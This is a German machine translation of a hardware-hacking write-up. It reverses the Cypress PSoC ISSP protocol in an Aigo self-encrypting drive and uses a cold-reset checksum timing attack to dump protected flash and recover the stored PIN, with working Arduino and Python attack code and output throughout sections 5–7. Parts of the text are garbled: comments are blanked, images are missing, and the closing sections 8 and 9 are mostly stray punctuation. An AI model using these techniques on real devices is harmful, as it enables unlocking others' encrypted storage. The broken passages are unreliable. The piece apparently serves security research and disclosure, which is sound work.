Umkehren und Hacken der selbstverschlüsselenden externen Festplatte von Aigo. Teil 2: Dumping mit Cypress PSoC

Dies ist der zweite und letzte Teil des Artikels über das Hacken externer selbstverschlüsselnder Laufwerke. Ich erinnere Sie daran, dass mir ein Kollege kürzlich eine Patriot (Aigo) SK8671-Festplatte gebracht hat, und ich habe beschlossen, sie umzukehren. Jetzt teile ich mit, was daraus geworden ist. Lesen Sie unbedingt den ersten Teil des Artikels, bevor Sie weiterlesen.


4. Wir beginnen, den Speicherauszug vom internen Flash-Laufwerk PSoC zu entfernen
5. ISSP-Protokoll
- 5.1. Was ist ein ISSP?
- 5.2. Entmystifizierung von Vektoren
- 5.3. Chatte mit PSoC
- 5.4. Identifizierung von Intra-Chip-Registern
- 5.5. Schutzbits
6. Erster (fehlgeschlagener) Angriff: ROMX
7. Zweiter Angriff: Trace mit Kaltstart
- 7.1. Implementierung
- 7.2. Lesen Sie das Ergebnis
- 7.3. Rekonstruktion der Flash-Binärdatei
- 7.4. Suchen Sie die Pincode-Speicheradresse
- 7.5. Wir entfernen den Dump von Block Nr. 126
- 7.6. Pincode-Wiederherstellung
8. Was kommt als nächstes?
9. Fazit




4. Wir beginnen, den Speicherauszug vom internen Flash-Laufwerk PSoC zu entfernen


Alles deutet also darauf hin (wie wir in [dem ersten Teil] () festgestellt haben), dass der PIN-Code im PSoC-Flash-Darm gespeichert ist. Deshalb müssen wir diese Blitzdärme lesen. Vor der notwendigen Arbeit:


  • die Kontrolle über die "Kommunikation" mit dem Mikrocontroller übernehmen;
  • einen Weg finden, um zu überprüfen, ob diese "Kommunikation" vor dem Lesen von außen geschützt ist;
  • einen Weg finden, um die Sicherheit zu umgehen.

Es gibt zwei Stellen, an denen es sinnvoll ist, nach einem gültigen PIN-Code zu suchen:


  • interner Flash-Speicher;
  • SRAM, in dem der PIN-Code gespeichert werden kann, um ihn mit dem vom Benutzer eingegebenen PIN-Code zu vergleichen.

Mit Blick auf die Zukunft stelle ich fest, dass es mir immer noch gelungen ist, den Speicherauszug des internen Flash-Laufwerks PSoC unter Umgehung seines Schutzsystems mithilfe des Hardwareangriffs "Cold Reset Trace" zu entfernen, nachdem die undokumentierten Funktionen des ISSP-Protokolls umgekehrt wurden. Dadurch konnte ich den aktuellen PIN-Code direkt ausgeben.


$ ./psoc.py syncing: KO OK [...] PIN: 1 2 3 4 5 6 7 8 9 

Der resultierende Programmcode:




5. ISSP-Protokoll



5.1. Was ist ein ISSP?


"Kommunikation" mit dem Mikrocontroller kann verschiedene Bedeutungen haben: von "Anbieter zu Anbieter" bis zur Interaktion über ein serielles Protokoll (z. B. ICSP für den PIC von Microchip).


Cypress verfügt hierfür über ein eigenes Protokoll namens ISSP (In-System Serial Programming Protocol), das teilweise in der technischen Spezifikation beschrieben ist . US7185162 bietet auch einige Informationen. Es gibt auch ein OpenSource-Analogon namens HSSP (wir werden es etwas später verwenden). ISSP funktioniert wie folgt:


  • PSoC neu starten;
  • Bringen Sie die magische Nummer in den seriellen Datenbereich dieses PSoC. externen Programmiermodus aufrufen;
  • Senden Sie Befehle, bei denen es sich um lange Bitfolgen handelt, die als "Vektoren" bezeichnet werden.

In der ISSP-Dokumentation werden diese Vektoren nur für eine kleine Handvoll Befehle definiert:


  • Initialisieren Sie-1
  • Initialize-2
  • Initialize-3 (3V- und 5V-Optionen)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, wobei dddddddd = block #
  • BULK ERASE
  • PROGRAMMBLOCK
  • ÜBERPRÜFEN-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, wobei DDDDDDDDD = Datenausgang, aaaaaa = Adresse (6 Bit)
  • WRITE-BYTE: 10010aaaaaadddddddd111, wobei dddddddd = Daten in, aaaaaa = Adresse (6 Bit)
  • Sicher
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDDZ110111111000ZDDDDDDDZ1, wobei DDDDDDDDDDDDDDD = Datenausgang: Geräteprüfsumme
  • BLOCK LÖSCHEN

Zum Beispiel der Vektor für Initialize-2:


 1101111011100000000111 1101111011000000000111 1001111100000111010111 1001111100100000011111 1101111010100000000111 1101111010000000011111 1001111101110000000111 1101111100100110000111 1101111101001000000111 1001111101000000001111 1101111000000000110111 1101111100000000000111 1101111111100010010111 

Alle Vektoren haben die gleiche Länge: 22 Bit. Die HSSP-Dokumentation enthält einige zusätzliche Informationen zu ISSPs: „Ein ISSP-Vektor ist nichts anderes als eine Bitfolge, die einen Befehlssatz darstellt.“



5.2. Entmystifizierung von Vektoren


Mal sehen, was hier passiert. Anfangs nahm ich an, dass dieselben Vektoren Rohvarianten der M8C-Anweisungen sind. Nachdem ich diese Hypothese getestet hatte, stellte ich fest, dass die Opcodes der Operationen nicht übereinstimmen.


Dann habe ich den obigen Vektor gegoogelt und bin auf diese Studie gestoßen, in der der Autor, obwohl er nicht auf Details eingeht, einige praktische Hinweise gibt: „Jede Anweisung beginnt mit drei Bits, die einer der vier Mnemoniken entsprechen (aus dem RAM lesen, in den RAM schreiben) , das Register lesen, das Register schreiben). Dann kommt die 8-Bit-Adresse, gefolgt von 8 Datenbits (entweder gelesen oder geschrieben) und schließlich drei Stoppbits. “


Dann konnte ich einige sehr nützliche Informationen aus dem Abschnitt Supervisory ROM (SROM) des technischen Handbuchs sammeln. SROM ist ein fest codiertes ROM in PSoC, das Servicefunktionen (ähnlich wie Syscall) für Software-Code bereitstellt, der im Benutzerbereich ausgeführt wird:


  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Calibrate0
  • 09h: Kalibrieren1

Durch den Vergleich von Vektornamen mit SROM-Funktionen können wir die verschiedenen von diesem Protokoll unterstützten Operationen den erwarteten SROM-Parametern zuordnen. Dank dessen können wir die ersten drei Bits von ISSP-Vektoren decodieren:


  • 100 => "wrmem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Ein umfassendes Verständnis der Intra-Chip-Prozesse kann jedoch nur durch direkte Kommunikation mit PSoC erreicht werden.



5.3. Chatte mit PSoC


Da Dirk Petrautsky den Cypress HSSP-Code bereits nach Arduino portiert hat, habe ich Arduino Uno verwendet, um die Tastaturplatine mit dem ISSP-Anschluss zu verbinden.


Bitte beachten Sie, dass ich während meiner Recherche den Dirk-Code ziemlich geändert habe. Sie finden meine Änderung auf GitHub: Hier ist das entsprechende Python-Skript für die Kommunikation mit Arduino in meinem Repository cypress_psoc_tools .


Bei Verwendung von Arduino habe ich zunächst nur "offizielle" Vektoren für "Kommunikation" verwendet. Ich habe versucht, das interne ROM mit dem Befehl VERIFY zu lesen. Wie erwartet konnte ich das nicht tun. Wahrscheinlich aufgrund der Tatsache, dass Leseschutzbits im Flash-Laufwerk aktiviert sind.


Dann habe ich einige meiner einfachen Vektoren zum Schreiben und Lesen von Speicher / Registern erstellt. Bitte beachten Sie, dass wir das gesamte SROM lesen können, obwohl das Flash-Laufwerk geschützt ist!



5.4. Identifizierung von Intra-Chip-Registern


Bei der Betrachtung der "zerlegten" Vektoren stellte ich fest, dass das Gerät undokumentierte Register (0xF8-0xFA) verwendet, um M8C-Opcodes anzuzeigen, die direkt ausgeführt werden und den Schutz umgehen. Dadurch konnte ich verschiedene Opcodes wie "ADD", "MOV A, X", "PUSH" oder "JMP" ausführen. Dank ihnen (unter Berücksichtigung der Nebenwirkungen, die sie auf die Register haben) konnte ich feststellen, welche der nicht dokumentierten Register tatsächlich reguläre Register sind (A, X, SP und PC).


Infolgedessen sieht der vom Tool HSSP_disas.rb generierte "disassemblierte" Code folgendermaßen aus (aus Gründen der Übersichtlichkeit habe ich Kommentare hinzugefügt):


 --== init2 ==-- [DE E0 1C] wrreg CPU_F (f7), 0x00 #   [DE C0 1C] wrreg SP (f6), 0x00 #  SP [9F 07 5C] wrmem KEY1, 0x3A #    SSC [9F 20 7C] wrmem KEY2, 0x03 #  [DE A0 1C] wrreg PCh (f5), 0x00 #  PC (MSB) ... [DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ...  3 ?? [9F 70 1C] wrmem POINTER, 0x80 # RAM-    [DF 26 1C] wrreg opc1 (f9), 0x30 #  1 => "HALT" [DF 48 1C] wrreg opc2 (fa), 0x40 #  2 => "NOP" [9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID   SSC [DE 00 DC] wrreg A (f0), 0x06 #  "Syscall" : TableRead [DF 00 1C] wrreg opc0 (f8), 0x00 #   SSC, "Supervisory SROM Call" [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 #  :    


5.5. Schutzbits


Zu diesem Zeitpunkt kann ich bereits mit PSoC kommunizieren, habe jedoch noch keine zuverlässigen Informationen zu den Schutzbits des Flash-Laufwerks. Ich war sehr überrascht von der Tatsache, dass Cypress dem Gerätebenutzer keine Möglichkeit bietet, zu überprüfen, ob der Schutz aktiviert ist. Ich ging tief in Google ein, um endlich zu verstehen, dass der von Cypress bereitgestellte HSSP-Code aktualisiert wurde, nachdem Dirk seine Änderung veröffentlicht hatte. Und los geht's! Hier ist ein neuer Vektor wie dieser:


 [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [9F A0 1C] wrmem 0xFD, 0x00 #   [9F E0 1C] wrmem 0xFF, 0x00 #  [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 02 1C] wrreg A (f0), 0x10 #  syscall ! [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 

Mit diesem Vektor (siehe read_security_data in psoc.py) erhalten wir alle Schutzbits im SRAM bei 0x80, wobei jedes Bit mit zwei Bits geschützt ist.


Das Ergebnis ist deprimierend: Im Modus "Externes Lesen und Schreiben deaktivieren" ist alles geschützt. Daher können wir nicht nur etwas vom USB-Stick lesen, sondern auch schreiben (zum Beispiel, um dort einen ROM-Dumper einzuführen). Die einzige Möglichkeit, den Schutz zu deaktivieren, besteht darin, den gesamten Chip vollständig zu löschen. :-(



6. Erster (fehlgeschlagener) Angriff: ROMX


Wir können jedoch den folgenden Trick ausprobieren: Da wir beliebige Opcodes ausführen können, können Sie ROMX ausführen, das zum Lesen des Flash-Speichers verwendet wird. Dieser Ansatz hat gute Erfolgschancen. Da die ReadBlock-Funktion, die Daten aus dem SROM liest (das von Vektoren verwendet wird), prüft, ob sie vom ISSP aufgerufen werden. Vermutlich hat der ROMX-Opcode jedoch keine solche Prüfung. Hier ist also der Python-Code (nachdem dem Arduino C-Code einige Hilfsklassen hinzugefügt wurden):


 for i in range(0, 8192): write_reg(0xF0, i>>8) # A = 0 write_reg(0xF3, i&0xFF) # X = 0 exec_opcodes("\x28\x30\x40") # ROMX, HALT, NOP byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A print "%02x" % ord(byte[0]) # print ROM byte 

Leider funktioniert dieser Code nicht. :-( Es funktioniert eher, aber am Ausgang erhalten wir unsere eigenen Opcodes (0x28 0x30 0x40)! Ich glaube nicht, dass die entsprechende Funktionalität des Geräts ein Element des Leseschutzes ist. Dies ist eher ein technischer Trick: Bei der Ausführung externer Opcodes wird der ROM-Bus umgeleitet zu einem temporären Puffer.



7. Zweiter Angriff: Trace mit Kaltstart


Da der ROMX-Trick nicht funktionierte, begann ich über eine andere Variante dieses Tricks nachzudenken - beschrieben in der Veröffentlichung "Zu viel Licht auf den Firmware-Schutz eines Mikrocontrollers werfen" .



7.1. Implementierung


Der folgende Vektor für CHECKSUM-SETUP ist in der ISSP-Dokumentation aufgeführt:


 [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [9F 40 1C] wrmem BLOCKID, 0x00 [DE 00 FC] wrreg A (f0), 0x07 [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 

Hier wird im Wesentlichen die SROM-Funktion 0x07 aufgerufen, wie in der Dokumentation dargestellt (meine kursiv):


Diese Funktion Prüfsumme Prüfsumme. Es berechnet eine 16-Bit-Prüfsumme der Anzahl der vom Benutzer in einer Flash-Bank festgelegten Blöcke, wobei von Null aus gezählt wird. Mit dem Parameter BLOCKID wird die Anzahl der Blöcke übertragen, die bei der Berechnung der Prüfsumme verwendet werden. Ein Wert von "1" berechnet die Prüfsumme nur für den Nullblock. während "0" dazu führt, dass die Gesamtprüfsumme aller 256 Blöcke der Flash-Bank berechnet wird. Eine 16-Bit-Prüfsumme wird über KEY1 und KEY2 zurückgegeben. In Parameter KEY1 sind die niedrigen 8 Bits der Prüfsumme festgelegt, und in KEY2 werden die hohen 8 Bits aufgezeichnet. Bei Geräten mit mehreren Flash-Bänken wird die Prüfsummenfunktion für jedes einzeln aufgerufen. Die Banknummer, mit der es arbeiten wird, wird durch das Register FLS_PR1 eingestellt (indem ein Bit entsprechend der Ziel-Flash-Bank gesetzt wird).

Beachten Sie, dass dies die einfachste Prüfsumme ist: Bytes werden einfach einzeln summiert. Keine ausgeklügelten CRC-Macken. Da ich wusste, dass der Registersatz im M8C-Kern sehr klein ist, ging ich davon aus, dass bei der Berechnung der Prüfsumme die Zwischenwerte in denselben Variablen festgelegt werden, die schließlich ausgegeben werden: KEY1 (0xF8) / KEY2 (0xF9).


Theoretisch sieht mein Angriff also so aus:


  1. Stellen Sie eine Verbindung über ISSP her.
  2. Wir starten die Berechnung der Prüfsumme mit dem Vektor CHECKSUM-SETUP.
  3. Wir starten den Prozessor nach der angegebenen Zeit T neu.
  4. Lesen Sie den RAM, um die aktuelle Prüfsumme C zu erhalten.
  5. Wiederholen Sie die Schritte 3 und 4 jedes Mal, wenn Sie T erhöhen.
  6. Wir stellen Daten vom Flash-Laufwerk wieder her, indem wir die vorherige Prüfsumme C von der aktuellen subtrahieren.

Es trat jedoch ein Problem auf: Der Initialize-1-Vektor, den wir nach dem Neustart senden müssen, überschreibt KEY1 und KEY2:


 1100101000000000000000 # ,  PSoC    nop nop nop nop nop [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A #     [9F 20 7C] wrmem KEY2, 0x03 #   [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 01 3C] wrreg A (f0), 0x09 # SROM- 9 [DF 00 1C] wrreg opc0 (f8), 0x00 # SSC [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 

Dieser Code überschreibt unsere wertvolle Prüfsumme durch Aufrufen von Calibrate1 (SROM-Funktion 9) ... Vielleicht können wir einfach in den Programmiermodus wechseln, indem wir die magische Nummer (ab dem Anfang des obigen Codes) senden und dann SRAM lesen? Und ja, es funktioniert! Der Arduino-Code, der diesen Angriff implementiert, ist ziemlich einfach:


 case Cmnd_STK_START_CSUM: checksum_delay = ((uint32_t)getch())<<24; checksum_delay |= ((uint32_t)getch())<<16; checksum_delay |= ((uint32_t)getch())<<8; checksum_delay |= getch(); if(checksum_delay > 10000) { ms_delay = checksum_delay/1000; checksum_delay = checksum_delay%1000; } else { ms_delay = 0; } send_checksum_v(); if(checksum_delay) delayMicroseconds(checksum_delay); delay(ms_delay); start_pmode(); 

  1. Lesen Sie checkum_delay.
  2. Führen Sie die Prüfsummenberechnung aus (send_checksum_v).
  3. Warten Sie einen bestimmten Zeitraum. angesichts der folgenden Fallstricke:
    • Ich habe viel Zeit verloren, bis ich herausfand, dass delayMicroseconds nur mit Verzögerungen von nicht mehr als 16383 mks korrekt funktioniert.
    • und dann wieder die gleiche Zeitspanne getötet, bis festgestellt wurde, dass delayMicroseconds, wenn es 0 an seine Eingabe übergeben hat, völlig falsch funktioniert hat!
  4. Laden Sie PSoC erneut in den Programmiermodus (senden Sie einfach die magische Zahl, ohne Initialisierungsvektoren zu senden).

Der resultierende Python-Code:


 for delay in range(0, 150000): #    for i in range(0, 10): #      try: reset_psoc(quiet=True) #       send_vectors() #    ser.write("\x85"+struct.pack(">I", delay)) #    +    res = ser.read(1) #  arduino ACK except Exception as e: print e ser.close() os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null") ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) #    continue print "%05d %02X %02X %02X" % (delay, #  RAM- read_regb(0xf1), read_ramb(0xf8), read_ramb(0xf9)) 

Kurz gesagt, was dieser Code bewirkt:


  1. Lädt den PSoC neu (und sendet ihm eine magische Nummer).
  2. Sendet vollständige Initialisierungsvektoren.
  3. Ruft die Arduino-Funktion Cmnd_STK_START_CSUM (0x85) auf, bei der die Verzögerung in Mikrosekunden als Parameter übergeben wird.
  4. Liest die Prüfsumme (0xF8 und 0xF9) und das undokumentierte Register 0xF1.

Dieser Code wird 10 Mal in 1 Mikrosekunde ausgeführt. 0xF1 ist hier enthalten, da es das einzige Register war, das sich bei der Berechnung der Prüfsumme geändert hat. Vielleicht ist dies eine Art temporäre Variable, die von der arithmetischen Logikvorrichtung verwendet wird. Achten Sie auf den hässlichen Hack, dass ich Arduino mit Picocom neu starte, wenn der Arduino keine Lebenszeichen mehr gibt (ich habe keine Ahnung warum).



7.2. Lesen Sie das Ergebnis


Das Ergebnis des Python-Skripts sieht folgendermaßen aus (zur besseren Lesbarkeit vereinfacht):


 DELAY F1 F8 F9 # F1 –    # F8     # F9     00000 03 E1 19 [...] 00016 F9 00 03 00016 F9 00 00 00016 F9 00 03 00016 F9 00 03 00016 F9 00 03 00016 F9 00 00 #     0 00017 FB 00 00 [...] 00023 F8 00 00 00024 80 80 00 # 1- : 0x0080-0x0000 = 0x80 00024 80 80 00 00024 80 80 00 [...] 00057 CC E7 00 # 2- : 0xE7-0x80: 0x67 00057 CC E7 00 00057 01 17 01 #   ,    00057 01 17 01 00057 01 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 F8 E7 00 #  E7? 00058 D0 17 01 [...] 00059 E7 E7 00 00060 17 17 00 #  [...] 00062 00 17 00 00062 00 17 00 00063 01 17 01 # , !        00063 01 17 01 [...] 00075 CC 17 01 # , 0x117-0xE7: 0x30 

Gleichzeitig haben wir ein Problem: Da wir mit der tatsächlichen Prüfsumme arbeiten, ändert ein Null-Byte den Lesewert nicht. Da der gesamte Berechnungsvorgang (8192 Bytes) jedoch 0,1478 Sekunden dauert (mit geringfügigen Abweichungen bei jedem Start), was ungefähr 18,04 μs pro Byte entspricht, können wir diese Zeit verwenden, um den Wert der Prüfsumme zu geeigneten Zeiten zu überprüfen. Bei den ersten Läufen ist alles recht einfach zu lesen, da die Dauer des Rechenvorgangs immer fast gleich ist. Das Ende dieses Dumps ist jedoch weniger genau, da die „unbedeutenden Zeitabweichungen“ bei jedem Lauf zusammengefasst werden und signifikant werden:


 134023 D0 02 DD 134023 CC D2 DC 134023 CC D2 DC 134023 CC D2 DC 134023 FB D2 DC 134023 3F D2 DC 134023 CC D2 DC 134024 02 02 DC 134024 CC D2 DC 134024 F9 02 DC 134024 03 02 DD 134024 21 02 DD 134024 02 D2 DC 134024 02 02 DC 134024 02 02 DC 134024 F8 D2 DC 134024 F8 D2 DC 134025 CC D2 DC 134025 EF D2 DC 134025 21 02 DD 134025 F8 D2 DC 134025 21 02 DD 134025 CC D2 DC 134025 04 D2 DC 134025 FB D2 DC 134025 CC D2 DC 134025 FB 02 DD 134026 03 02 DD 134026 21 02 DD 

Dies sind 10 Speicherauszüge für jede Mikrosekundenverzögerung. Die Gesamtbetriebszeit für das Speichern aller 8192 Bytes eines Flash-Laufwerks beträgt ca. 48 Stunden.



7.3. Rekonstruktion der Flash-Binärdatei


Ich habe noch keinen Code geschrieben, der den Programmcode des Flash-Laufwerks unter Berücksichtigung aller zeitlichen Abweichungen vollständig rekonstruiert. Ich habe jedoch bereits den Anfang dieses Codes wiederhergestellt. Um sicherzustellen, dass ich es richtig gemacht habe, habe ich es mit m8cdis zerlegt:


 0000: 80 67 jmp 0068h ; Reset vector [...] 0068: 71 10 or F,010h 006a: 62 e3 87 mov reg[VLT_CR],087h 006d: 70 ef and F,0efh 006f: 41 fe fb and reg[CPU_SCR1],0fbh 0072: 50 80 mov A,080h 0074: 4e swap A,SP 0075: 55 fa 01 mov [0fah],001h 0078: 4f mov X,SP 0079: 5b mov A,X 007a: 01 03 add A,003h 007c: 53 f9 mov [0f9h],A 007e: 55 f8 3a mov [0f8h],03ah 0081: 50 06 mov A,006h 0083: 00 ssc [...] 0122: 18 pop A 0123: 71 10 or F,010h 0125: 43 e3 10 or reg[VLT_CR],010h 0128: 70 00 and F,000h ; Paging mode changed from 3 to 0 012a: ef 62 jacc 008dh 012c: e0 00 jacc 012dh 012e: 71 10 or F,010h 0130: 62 e0 02 mov reg[OSC_CR0],002h 0133: 70 ef and F,0efh 0135: 62 e2 00 mov reg[INT_VC],000h 0138: 7c 19 30 lcall 1930h 013b: 8f ff jmp 013bh 013d: 50 08 mov A,008h 013f: 7f ret 

Sieht ziemlich glaubwürdig aus!



7.4. Suchen Sie die Pincode-Speicheradresse


Jetzt, da wir die Prüfsumme zum gewünschten Zeitpunkt lesen können, können wir leicht überprüfen, wie und wo sie sich ändert, wenn wir:


  • Geben Sie den falschen PIN-Code ein.
  • Ändern Sie den PIN-Code.

Um die ungefähre Speicheradresse zu ermitteln, habe ich nach einem Neustart einen Prüfsummen-Dump in Schritten von 10 ms erstellt. Dann habe ich den falschen PIN-Code eingegeben und das Gleiche getan.


Das Ergebnis war nicht sehr angenehm, da es viele Änderungen gab. Am Ende konnte ich jedoch feststellen, dass sich die Prüfsumme irgendwo im Intervall zwischen 120.000 μs und 140.000 μs Verzögerung geändert hat. Aber der „Pincode“, den ich dort erhalten habe, war völlig falsch - aufgrund des Artefakts der delayMicroseconds-Prozedur, das seltsame Dinge tut, wenn es 0 wird.


Nachdem ich fast 3 Stunden verbracht hatte, fiel mir ein, dass der CheckSum SROM-Systemaufruf am Eingang ein Argument erhält, das die Anzahl der Blöcke für die Prüfsumme angibt! T.O. Wir können die Speicheradresse des PIN-Codes und den Zähler für „falsche Versuche“ leicht lokalisieren, genau auf den 64-Byte-Block.


Meine ersten Läufe ergaben das folgende Ergebnis:



Dann habe ich den PIN-Code von "123456" in "1234567" geändert und erhalten:



Somit scheinen der Pincode und der Zähler falscher Versuche in Block Nr. 126 gespeichert zu sein.



7.5. Wir entfernen den Dump von Block Nr. 126


Block Nr. 126 sollte sich irgendwo in der Region von 125 x 64 x 18 = 144000 mks befinden, vom Beginn der Berechnung der Prüfsumme an, in meinem vollständigen Speicherauszug, und es sieht ziemlich glaubwürdig aus. Nachdem ich zahlreiche ungültige Speicherauszüge manuell herausgesiebt hatte (aufgrund der Anhäufung von "geringfügigen Zeitabweichungen"), erhielt ich schließlich diese Bytes (mit einer Verzögerung von 145527 μs):



Es ist klar, dass der PIN-Code unverschlüsselt gespeichert ist! Diese Werte sind natürlich nicht in ASCII-Codes geschrieben, aber wie sich herausstellte, spiegeln sie die Messwerte der kapazitiven Tastatur wider.


Schließlich habe ich noch einige Tests durchgeführt, um herauszufinden, wo der Zähler für falsche Versuche gespeichert ist. Hier ist das Ergebnis:



0xFF - bedeutet "15 Versuche" und nimmt mit jedem falschen Versuch ab.



7.6. Pincode-Wiederherstellung


Hier ist mein hässlicher Code, der all das zusammenbringt:


 def dump_pin(): pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5", 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"} last_csum = 0 pin_bytes = [] for delay in range(145495, 145719, 16): csum = csum_at(delay, 1) byte = (csum-last_csum)&0xFF print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte) pin_bytes.append(byte) last_csum = csum print "PIN: ", for i in range(0, len(pin_bytes)): if pin_bytes[i] in pin_map: print pin_map[pin_bytes[i]], print 

Hier ist das Ergebnis seiner Ausführung:


 $ ./psoc.py syncing: KO OK Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK 145495 53e2 (0000) => e2 145511 5407 (53e2) => 25 145527 542d (5407) => 26 145543 5454 (542d) => 27 145559 5474 (5454) => 20 145575 5495 (5474) => 21 145591 54b7 (5495) => 22 145607 54da (54b7) => 23 145623 5506 (54da) => 2c 145639 5506 (5506) => 00 145655 5533 (5506) => 2d 145671 554c (5533) => 19 145687 554e (554c) => 02 145703 554e (554e) => 00 PIN: 1 2 3 4 5 6 7 8 9 

Hurra! Es funktioniert!


Bitte beachten Sie, dass die von mir verwendeten Verzögerungswerte höchstwahrscheinlich für eine bestimmte PSoC relevant sind - die von mir verwendete.



8. Was kommt als nächstes?


Um es auf der PSoC-Seite im Zusammenhang mit unserem Aigo-Laufwerk zusammenzufassen:


  • SRAM, ;
  • , « », .

, – - . :


  • , « »;
  • FPGA- ( Arduino);
  • : , RAM, , RAM, . Arduino - , Arduino 5 , 3,3 .

, – , . , , – , .


SROM, ReadBlock, , – , «REcon Brussels 2017» .


, – : SRAM, .



9.


, , ( «») … (), !


Aigo? - HDD-, 2015 SyScan, HDD-, , . :-)


. 40 . ( ) ( ). 40 , . .

Source: https://habr.com/ru/post/de455529/


All Articles